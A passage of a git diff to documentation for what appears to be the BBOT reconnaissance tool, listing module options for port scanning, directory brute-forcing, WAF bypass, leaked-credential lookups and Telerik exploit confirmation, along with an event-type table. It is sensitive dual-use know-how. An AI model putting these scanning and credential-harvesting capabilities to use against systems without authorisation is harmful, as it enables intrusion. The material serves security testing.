scans. | False | +| modules.paramminer_getparams.mutate_case | bool | Also test case-mutated variants of each entry (camelCase for snake_case/kebab-case, Title case for single words). Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm. | False | +| modules.paramminer_getparams.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | +| modules.paramminer_getparams.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | +| modules.paramminer_getparams.wordlist | Union[str, list[str]] | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.paramminer_headers.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | +| modules.paramminer_headers.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | +| modules.paramminer_headers.wordlist | Union[str, list[str]] | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.portscan.adapter | str | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used. | | +| modules.portscan.adapter_ip | str | Send packets using this IP address. Not needed unless masscan's autodetection fails | | +| modules.portscan.adapter_mac | str | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails | | +| modules.portscan.module_timeout | int | Max time in seconds to spend handling each batch of events | 259200 | +| modules.portscan.ping_first | bool | Only portscan hosts that reply to pings | False | +| modules.portscan.ping_only | bool | Ping sweep only, no portscan | False | +| modules.portscan.ports | str | Ports to scan | | +| modules.portscan.rate | int | Rate in packets per second | 300 | +| modules.portscan.router_mac | str | Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails | | +| modules.portscan.skip_tags | str | Comma-separated event tags that will be excluded from scanning (e.g. 'cdn,waf'). speculate will emit assumed-open ports for these instead. | | +| modules.portscan.top_ports | int | Top ports to scan (default 100) (to override, specify 'ports') | 100 | +| modules.portscan.wait | int | Seconds to wait for replies after scan is complete | 5 | +| modules.retirejs.node_version | str | Node.js version to install locally | 18.19.1 | +| modules.retirejs.severity | Literal['none', 'low', 'medium', 'high', 'critical'] | Minimum severity level to report (none, low, medium, high, critical) | medium | +| modules.retirejs.version | str | retire.js version | 5.3.0 | +| modules.robots.include_allow | bool | Include 'Allow' Entries | True | +| modules.robots.include_disallow | bool | Include 'Disallow' Entries | True | +| modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | +| modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | +| modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | +| modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | +| modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | +| modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | +| modules.virtualhost.brute_lines | int | Take only the first N lines from the wordlist when finding directories | 2000 | +| modules.virtualhost.brute_wordlist | str | Wordlist containing subdomains | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | +| modules.virtualhost.certificate_sans | bool | Enable extraction and testing of Subject Alternative Names from certificates | False | +| modules.virtualhost.force_basehost | str | Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL | | +| modules.virtualhost.max_concurrent_requests | int | Maximum number of concurrent virtual host requests | 80 | +| modules.virtualhost.mutation_check | bool | Enable trying mutations of the target host | True | +| modules.virtualhost.report_interesting_default_content | bool | Report interesting default content | True | +| modules.virtualhost.require_inaccessible | bool | Only test virtual hosts that are not directly accessible (for discovering hidden content) | True | +| modules.virtualhost.special_hosts | bool | Enable testing of special virtual host list (localhost, etc.) | False | +| modules.virtualhost.subdomain_brute | bool | Enable subdomain brute-force on target host | True | +| modules.virtualhost.wordcloud_check | bool | Enable check using scan-wide wordcloud data on target host | False | +| modules.waf_bypass.neighbor_cidr | int | CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true | 24 | +| modules.waf_bypass.search_ip_neighbors | bool | Also check IP neighbors of the target domain | True | +| modules.waf_bypass.similarity_threshold | float | Similarity threshold for content matching | 0.9 | +| modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | +| modules.webbrute.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block brute-force requests | True | +| modules.webbrute.concurrency | int | Number of concurrent requests per URL being fuzzed | 50 | +| modules.webbrute.extensions | Union[str, list[str]] | Optionally include a list of extensions to extend the keyword with (comma separated or YAML list) | | +| modules.webbrute.ignore_case | bool | Only put lowercase words into the wordlist | False | +| modules.webbrute.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | +| modules.webbrute.max_depth | int | the maximum directory depth to attempt to solve | 0 | +| modules.webbrute.rate | int | Maximum requests per second (0 = unlimited) | 0 | +| modules.webbrute.wordlist | Union[str, list[str]] | Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | +| modules.webbrute_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | +| modules.webbrute_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional runs against them | False | +| modules.webbrute_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional runs against them | True | +| modules.webbrute_shortnames.find_subwords | bool | Attempt to detect subwords and make additional runs against them | False | +| modules.webbrute_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | +| modules.webbrute_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | +| modules.webbrute_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | +| modules.webbrute_shortnames.wordlist_extensions | Union[str, list[str]] | Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.anubisdb.limit | int | Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API) | 1000 | +| modules.apkpure.output_folder | str | Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage. | | +| modules.bevigil.api_key | str | list[str] | BeVigil OSINT API Key | | +| modules.bevigil.urls | bool | Emit URLs in addition to DNS_NAMEs | False | +| modules.bucket_file_enum.file_limit | int | Limit the number of files downloaded per bucket | 50 | +| modules.bufferoverrun.api_key | str | list[str] | BufferOverrun API key | | +| modules.bufferoverrun.commercial | bool | Use commercial API | False | +| modules.builtwith.api_key | str | list[str] | Builtwith API key | | +| modules.builtwith.redirects | bool | Also look up inbound and outbound redirects | True | +| modules.c99.api_key | str | list[str] | c99.nl API key | | +| modules.censys_dns.api_key | str | list[str] | Censys.io API Key in the format of 'key:secret' | | +| modules.censys_dns.max_pages | int | Maximum number of pages to fetch (100 results per page) | 5 | +| modules.censys_ip.api_key | str | list[str] | Censys.io API Key in the format of 'key:secret' | | +| modules.censys_ip.dns_names_limit | int | Maximum number of DNS names to extract from dns.names (default 100) | 100 | +| modules.censys_ip.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | +| modules.certspotter.api_key | str | SSLMate API key (enables pagination and higher rate limits) | | +| modules.chaos.api_key | str | list[str] | Chaos API key | | +| modules.credshed.credshed_url | str | URL of credshed server | | +| modules.credshed.password | str | Credshed password | | +| modules.credshed.username | str | Credshed username | | +| modules.dehashed.api_key | str | list[str] | DeHashed API Key | | +| modules.dnsbimi.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | +| modules.dnsbimi.emit_urls | bool | Emit URL_UNVERIFIED events | True | +| modules.dnsbimi.selectors | str | CSV list of BIMI selectors to check | default,email,mail,bimi | +| modules.dnscaa.dns_names | bool | emit DNS_NAME events | True | +| modules.dnscaa.emails | bool | emit EMAIL_ADDRESS events | True | +| modules.dnscaa.in_scope_only | bool | Only check in-scope domains | True | +| modules.dnscaa.urls | bool | emit URL_UNVERIFIED events | True | +| modules.dnstlsrpt.emit_emails | bool | Emit EMAIL_ADDRESS events | True | +| modules.dnstlsrpt.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | +| modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | +| modules.docker_pull.all_tags | bool | Download all tags from each registry (Default False) | False | +| modules.docker_pull.output_folder | str | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage. | | +| modules.fullhunt.api_key | str | list[str] | FullHunt API Key | | +| modules.git_clone.api_key | str | list[str] | Github token | | +| modules.git_clone.output_folder | str | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage. | | +| modules.gitdumper.fuzz_tags | bool | Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version | False | +| modules.gitdumper.max_semanic_version | int |` Maximum version number to fuzz for (default < v10.10.10) `| 10 | +| modules.gitdumper.output_folder | str | Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage. | | +| modules.github_codesearch.api_key | str | list[str] | Github token | | +| modules.github_codesearch.limit | int | Limit code search to this many results | 100 | +| modules.github_org.api_key | str | list[str] | Github token | | +| modules.github_org.include_member_repos | bool | Also enumerate organization members' repositories | False | +| modules.github_org.include_members | bool | Enumerate organization members | True | +| modules.github_usersearch.api_key | str | list[str] | Github token | | +| modules.github_workflows.api_key | str | list[str] | Github token | | +| modules.github_workflows.num_logs | int | For each workflow fetch the last N successful runs logs (max 100) | 1 | +| modules.github_workflows.output_folder | str | Folder to download workflow logs and artifacts to | | +| modules.hunterio.api_key | str | list[str] | Hunter.IO API key | | +| modules.ip2location.api_key | str | list[str] | IP2location.io API Key | | +| modules.ip2location.lang | str | Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name. | | +| modules.ipneighbor.num_bits | int | Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts) | 4 | +| modules.ipstack.api_key | str | list[str] | IPStack GeoIP API Key | | +| modules.jadx.threads | int | Maximum jadx threads for extracting apk's, default: 4 | 4 | +| modules.kreuzberg.extensions | list[str] | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | +| modules.leakix.api_key | str | list[str] | LeakIX API Key | | +| modules.otx.api_key | str | list[str] | OTX API key | | +| modules.pgp.search_urls | list[str] | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| +| modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | +| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | +| modules.postman.api_key | str | list[str] | Postman API Key | | +| modules.postman_download.api_key | str | list[str] | Postman API Key | | +| modules.postman_download.output_folder | str | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage. | | +| modules.securitytrails.api_key | str | list[str] | SecurityTrails API key | | +| modules.shodan_dns.api_key | str | list[str] | Shodan API key | | +| modules.shodan_enterprise.api_key | str | list[str] | Shodan API Key | | +| modules.shodan_enterprise.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | +| modules.shodan_idb.retries | Optional[int] | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting. | None | +| modules.subdomainradar.api_key | str | list[str] | SubDomainRadar.io API key | | +| modules.subdomainradar.group | Literal['fast', 'medium', 'deep'] | The enumeration group to use. Choose from fast, medium, deep | fast | +| modules.subdomainradar.timeout | int | Timeout in seconds | 120 | +| modules.trajan.ado_token | str | Azure DevOps Personal Access Token (PAT) | | +| modules.trajan.github_token | str | GitHub API token for rate-limiting and private repo access | | +| modules.trajan.gitlab_token | str | GitLab API token for private repo access | | +| modules.trajan.jenkins_password | str | Jenkins password for basic auth | | +| modules.trajan.jenkins_token | str | Jenkins API token | | +| modules.trajan.jenkins_username | str | Jenkins username for basic auth | | +| modules.trajan.jfrog_token | str | JFrog API token | | +| modules.trajan.version | str | Trajan version to download and use | 1.0.0 | +| modules.trickest.api_key | str | list[str] | Trickest API key | | +| modules.trufflehog.concurrency | int | Number of concurrent workers | 8 | +| modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | +| modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | +| modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | +| modules.trufflehog.version | str | trufflehog version | 3.95.5 | +| modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | +| modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | +| modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | +| modules.wayback.garbage_threshold | int | Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data) | 10 | +| modules.wayback.max_records | int | Maximum number of URLs to fetch from the CDX API | 100000 | +| modules.wayback.parameters | bool | emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true) | False | +| modules.wayback.urls | bool | emit URLs in addition to DNS_NAMEs | False | +| modules.asset_inventory.output_file | str | Set a custom output file | | +| modules.asset_inventory.recheck | bool | When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan | False | +| modules.asset_inventory.summary_netmask | int | Subnet mask to use when summarizing IP addresses at end of scan | 16 | +| modules.asset_inventory.use_previous | bool |` Emit previous asset inventory as new events (use in conjunction with -n ) `| False | +| modules.csv.output_file | str | Output to CSV file | | +| modules.discord.event_types | list[str] | Types of events to send | ['FINDING'] | +| modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | +| modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | +| modules.discord.webhook_url | str | Discord webhook URL | | +| modules.elastic.password | str | Elastic password | bbotislife | +| modules.elastic.timeout | int | HTTP timeout | 10 | +| modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | +| modules.elastic.username | str | Elastic username | elastic | +| modules.emails.output_file | str | Output to file | | +| modules.json.output_file | str | Output to file | | +| modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | +| modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | +| modules.mongo.collection_prefix | str | Prefix the name of each collection with this string | | +| modules.mongo.database | str | The name of the database to use | bbot | +| modules.mongo.password | str | The password to use to connect to the database | | +| modules.mongo.uri | str | The URI of the MongoDB server | mongodb://localhost:27017 | +| modules.mongo.username | str | The username to use to connect to the database | | +| modules.mysql.database | str | The database name to connect to | bbot | +| modules.mysql.host | str | The server running MySQL | localhost | +| modules.mysql.password | str | The password to connect to MySQL | bbotislife | +| modules.mysql.port | int | The port to connect to MySQL | 3306 | +| modules.mysql.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | +| modules.mysql.username | str | The username to connect to MySQL | root | +| modules.nats.servers | list | A list of NATS server addresses | [] | +| modules.nats.subject | str | The NATS subject to publish events to | bbot_events | +| modules.neo4j.password | str | Neo4j password | bbotislife | +| modules.neo4j.uri | str | Neo4j server + port | bolt://localhost:7687 | +| modules.neo4j.username | str | Neo4j username | neo4j | +| modules.postgres.database | str | The database name to connect to | bbot | +| modules.postgres.host | str | The server running Postgres | localhost | +| modules.postgres.password | str | The password to connect to Postgres | bbotislife | +| modules.postgres.port | int | The port to connect to Postgres | 5432 | +| modules.postgres.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | +| modules.postgres.username | str | The username to connect to Postgres | postgres | +| modules.rabbitmq.queue | str | The RabbitMQ queue to publish events to | bbot_events | +| modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | +| modules.slack.event_types | list[str] | Types of events to send | ['FINDING'] | +| modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | +| modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | +| modules.slack.webhook_url | str | Slack webhook URL | | +| modules.splunk.hectoken | str | HEC Token | | +| modules.splunk.index | str | Index to send data to | | +| modules.splunk.source | str | Source path to be added to the metadata | | +| modules.splunk.timeout | int | HTTP timeout | 10 | +| modules.splunk.url | str | Web URL | | +| modules.sqlite.database | str | The path to the sqlite database file | | +| modules.sqlite.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | +| modules.stdout.accept_dupes | bool | Whether to show duplicate events, default True | True | +| modules.stdout.event_fields | list | Which event fields to display | [] | +| modules.stdout.event_types | list | Which events to display, default all event types | [] | +| modules.stdout.format | Literal['text', 'json'] | Which text format to display, choices: text,json | text | +| modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | +| modules.subdomains.include_unresolved | bool | Include unresolved subdomains in output | False | +| modules.subdomains.output_file | str | Output to file | | +| modules.teams.event_types | list[str] | Types of events to send | ['FINDING'] | +| modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | +| modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | +| modules.teams.webhook_url | str | Teams webhook URL | | +| modules.txt.output_file | str | Output to file | | +| modules.web_parameters.include_count | bool | Include the count of each parameter in the output | False | +| modules.web_parameters.output_file | str | Output to file | | +| modules.web_report.css_theme_file | str | CSS theme URL for HTML output | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css | +| modules.web_report.output_file | str | Output to file | | +| modules.webhook.bearer | str | Authorization Bearer token | | +| modules.webhook.headers | dict | Additional headers to send with the request | {} | +| modules.webhook.method | str | HTTP method | POST | +| modules.webhook.password | str | Password (basic auth) | | +| modules.webhook.timeout | int | HTTP timeout | 10 | +| modules.webhook.url | str | Web URL | | +| modules.webhook.username | str | Username (basic auth) | | +| modules.websocket.ignore_ssl | bool | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.) | False | +| modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | +| modules.websocket.token | str | Authorization Bearer token | | +| modules.websocket.url | str | Web URL | | +| modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | +| modules.excavate.custom_yara_rules | str | Include custom Yara rules | | +| modules.excavate.max_form_bytes | int |` Maximum byte slice of the response body searched for a single
    body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match. `| 262144 | +| modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | +| modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | +| modules.speculate.essential_only | bool | Only enable essential speculate features (no extra discovery) | False | +| modules.speculate.ip_range_max_hosts | int | Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events | 65536 | +| modules.speculate.ports | str | The set of ports to speculate on | 80,443 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 6f1687b382..efc380ef90 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -117,40 +117,42 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 37 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 19 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog, wpscan | http | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 0 | portscan, speculate | | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | -| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | -| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, wafw00f, web_report, webbrute | gowitness, http | -| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames, wpscan | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 38 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 18 | 4 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, lightfuzz, virtualhost, wayback | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 